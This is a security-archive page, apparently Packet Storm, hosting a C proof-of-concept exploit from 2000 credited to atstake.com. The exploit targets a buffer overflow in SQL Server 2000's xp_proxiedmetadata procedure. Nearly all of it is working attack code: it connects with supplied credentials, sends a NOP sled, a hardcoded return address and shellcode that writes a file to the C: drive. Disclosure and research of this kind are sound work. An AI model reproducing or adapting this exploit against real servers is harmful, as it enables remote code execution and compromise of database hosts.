what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

sqladv2-poc.c

sqladv2-poc.c
Posted Dec 3, 2000
Site atstake.com

SQL2KOverflow.c - This code creates a file called 'SQL2KOverflow.txt' in the root of the c: drive. Requires a SQL username and password.

tags | overflow, root
SHA-256 | fee58ba23f9c0ccef37684361da716327f6fff17eb2a15ff91fee59fd97842a4

sqladv2-poc.c

Change Mirror Download
// SQL2KOverflow.c
// This code creates a file called 'SQL2KOverflow.txt' in the root of the
// c: drive.


#include <stdio.h>
#include <windows.h>
#include <wchar.h>
#include <lmcons.h>
#include <sql.h>
#include <sqlext.h>


int Syntax()
{
printf( "Syntax error. Correct syntax is:\nSQL2KOverflow
<hostname> <username> <password>");
return 1;
}


int main(int argc, char *argv[])
{
char szBuffer[1025];
SWORD swStrLen;
SQLHDBC hdbc;
SQLRETURN nResult;
SQLHANDLE henv;
HSTMT hstmt;
SCHAR InConnectionString[1025] = "DRIVER={SQL Server};SERVER=";
UCHAR query[20000] = "exec xp_proxiedmetadata 'a', '";
int count;

if ( argc != 4 )
{
return Syntax();
}

if ( ( strlen( argv[1] ) > 250 ) ||
( strlen( argv[2] ) > 250 ) ||
( strlen( argv[3] ) > 250 ) )
return Syntax();

strcat( InConnectionString, argv[1] );
strcat( InConnectionString, ";UID=" );
strcat( InConnectionString, argv[2] );
strcat( InConnectionString, ";PWD=" );
strcat( InConnectionString, argv[3] );
strcat( InConnectionString, ";DATABASE=master" );

for ( count = 30; count < 2598; count++ )
query[count] = (char)0x90;

query[count] = 0;

// 0x77782548 = wx%H = this works sp0
strcat( query, "\x48\x25\x78\x77" );

strcat( query,
"\x90\x90\x90\x90\x90\x33\xC0Ph.txthflowhOverhQL2khc:\\STYPP@PHPPPQ\xB8\x8D+\xE
9\x77\xFF\xD0\x33\xC0P\xB8\xCF\x06\xE9\x77\xFF\xD0"
);

strcat( query, "', 'a', 'a'" );


if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=
SQL_SUCCESS)
{
printf("Error SQLAllocHandle");
return 0;

}

if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)
SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)
{
printf("Error SQLSetEnvAttr");
return 0;

}


if ((nResult = SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR
*)&hdbc)) != SQL_SUCCESS)
{
printf("SQLAllocHandle - 2");
return 0;

}

nResult = SQLDriverConnect(hdbc, NULL, InConnectionString,
strlen(InConnectionString), szBuffer, 1024, &swStrLen,
SQL_DRIVER_COMPLETE_REQUIRED);
if(( nResult == SQL_SUCCESS ) | ( nResult ==
SQL_SUCCESS_WITH_INFO) )
{

printf("Connected to MASTER database...\n\n");
SQLAllocStmt(hdbc,&hstmt);
}



if(SQLExecDirect(hstmt,query,SQL_NTS) ==SQL_SUCCESS)
{
printf("\nSQL Query error");

return 0;

}
printf("Buffer sent...");



return 0;
}


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close